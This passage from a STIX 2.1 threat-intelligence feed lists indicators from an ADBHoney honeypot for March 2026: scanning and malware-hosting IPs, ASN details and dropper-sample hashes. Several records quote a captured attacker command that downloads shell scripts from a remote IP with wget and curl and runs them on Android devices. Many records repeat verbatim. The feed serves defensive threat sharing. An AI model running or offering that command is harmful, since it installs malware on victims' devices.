      "id": "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.151.178.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:00:03.000Z",
      "valid_until": "2026-04-23T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T20:23:13.000Z",
          "last_seen": "2026-03-22T20:24:17.433Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "211443"
          ],
          "org": [
            "Sino Worldwide Trading Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=211443; asn_org=Sino Worldwide Trading Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T20:23:13.000Z | last_seen=2026-03-22T20:24:17.433Z | ports=5555 | cc=NL | asn=211443 | org=Sino Worldwide Trading Limited",
      "id": "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.151.178.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:00:03.000Z",
      "valid_until": "2026-04-23T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T20:23:13.000Z",
          "last_seen": "2026-03-22T20:24:17.433Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "211443"
          ],
          "org": [
            "Sino Worldwide Trading Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=29; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=29 | first_seen=2026-03-22T22:08:54.000Z | last_seen=2026-03-22T22:48:57.924Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6e41f41f-0613-4c5c-a0ff-a04b16a2b030",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.85.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "valid_until": "2026-04-23T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 29,
          "first_seen": "2026-03-22T22:08:54.000Z",
          "last_seen": "2026-03-22T22:48:57.924Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-22T22:39:56.000Z | last_seen=2026-03-22T23:07:04.967Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--20199c85-bc57-4779-8e5b-f2e221e216f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.227.161.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "valid_until": "2026-04-23T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-22T22:39:56.000Z",
          "last_seen": "2026-03-22T23:07:04.967Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6c511d65c603c7f670389854be766bb0c9d11f121f293397360b5fd6dde08614.raw; last_seen=2026-03-22T22:47:07.349Z",
      "id": "indicator--3ae4b594-2f0c-4364-8087-98e02ddc8122",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '6c511d65c603c7f670389854be766bb0c9d11f121f293397360b5fd6dde08614']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/76b103591aee27df03730cc08e107818034113e56be70a093e2ec8c25c232b20.raw; last_seen=2026-03-22T22:47:07.654Z",
      "id": "indicator--be877fdc-6b36-44b4-8efc-cd66755033d0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '76b103591aee27df03730cc08e107818034113e56be70a093e2ec8c25c232b20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=29; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=29 | first_seen=2026-03-22T22:08:54.000Z | last_seen=2026-03-22T22:48:57.924Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6e41f41f-0613-4c5c-a0ff-a04b16a2b030",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.85.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "valid_until": "2026-04-23T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 29,
          "first_seen": "2026-03-22T22:08:54.000Z",
          "last_seen": "2026-03-22T22:48:57.924Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-22T22:39:56.000Z | last_seen=2026-03-22T23:07:04.967Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--20199c85-bc57-4779-8e5b-f2e221e216f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.227.161.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "valid_until": "2026-04-23T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-22T22:39:56.000Z",
          "last_seen": "2026-03-22T23:07:04.967Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6c511d65c603c7f670389854be766bb0c9d11f121f293397360b5fd6dde08614.raw; last_seen=2026-03-22T22:47:07.349Z",
      "id": "indicator--3ae4b594-2f0c-4364-8087-98e02ddc8122",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '6c511d65c603c7f670389854be766bb0c9d11f121f293397360b5fd6dde08614']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/76b103591aee27df03730cc08e107818034113e56be70a093e2ec8c25c232b20.raw; last_seen=2026-03-22T22:47:07.654Z",
      "id": "indicator--be877fdc-6b36-44b4-8efc-cd66755033d0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '76b103591aee27df03730cc08e107818034113e56be70a093e2ec8c25c232b20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=US; asn=211607; asn_org=Securitytrails, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T23:59:31.000Z | last_seen=2026-03-23T00:00:34.847Z | ports=5555 | cc=US | asn=211607 | org=Securitytrails, LLC",
      "id": "indicator--d7acdbd2-6b6b-4598-9553-7eab6da96a5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.3.53.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:00:02.000Z",
      "valid_until": "2026-04-24T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T23:59:31.000Z",
          "last_seen": "2026-03-23T00:00:34.847Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "211607"
          ],
          "org": [
            "Securitytrails, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T00:26:07.000Z | last_seen=2026-03-23T00:28:02.239Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a93fcad0-a2e5-41b1-a260-2dd91f851ff5",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.23.195.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:00:03.000Z",
      "valid_until": "2026-04-24T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T00:26:07.000Z",
          "last_seen": "2026-03-23T00:28:02.239Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T01:50:55.000Z | last_seen=2026-03-23T01:52:45.875Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--fb935938-e67f-403d-a517-2ecd2cd233c7",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.141.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:00:03.000Z",
      "valid_until": "2026-04-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T01:50:55.000Z",
          "last_seen": "2026-03-23T01:52:45.875Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T01:41:14.000Z | last_seen=2026-03-23T01:43:01.638Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b2433e9b-96d1-48df-8cb9-80c1cc500b8e",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.23.255.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:00:03.000Z",
      "valid_until": "2026-04-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T01:41:14.000Z",
          "last_seen": "2026-03-23T01:43:01.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T01:50:55.000Z | last_seen=2026-03-23T01:52:45.875Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--fb935938-e67f-403d-a517-2ecd2cd233c7",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.141.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:00:03.000Z",
      "valid_until": "2026-04-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T01:50:55.000Z",
          "last_seen": "2026-03-23T01:52:45.875Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T01:41:14.000Z | last_seen=2026-03-23T01:43:01.638Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b2433e9b-96d1-48df-8cb9-80c1cc500b8e",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.23.255.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:00:03.000Z",
      "valid_until": "2026-04-24T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T01:41:14.000Z",
          "last_seen": "2026-03-23T01:43:01.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-23T04:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.233/bins/w.sh; sh w.sh; curl http://94.156.152.233/bins/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-23T03:36:13.000Z | last_seen=2026-03-23T03:38:04.546Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--52de5d54-80bc-44b4-90c1-7f2e02a3f968",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.182.235.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T04:00:11.000Z",
      "valid_until": "2026-04-24T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-23T03:36:13.000Z",
          "last_seen": "2026-03-23T03:38:04.546Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
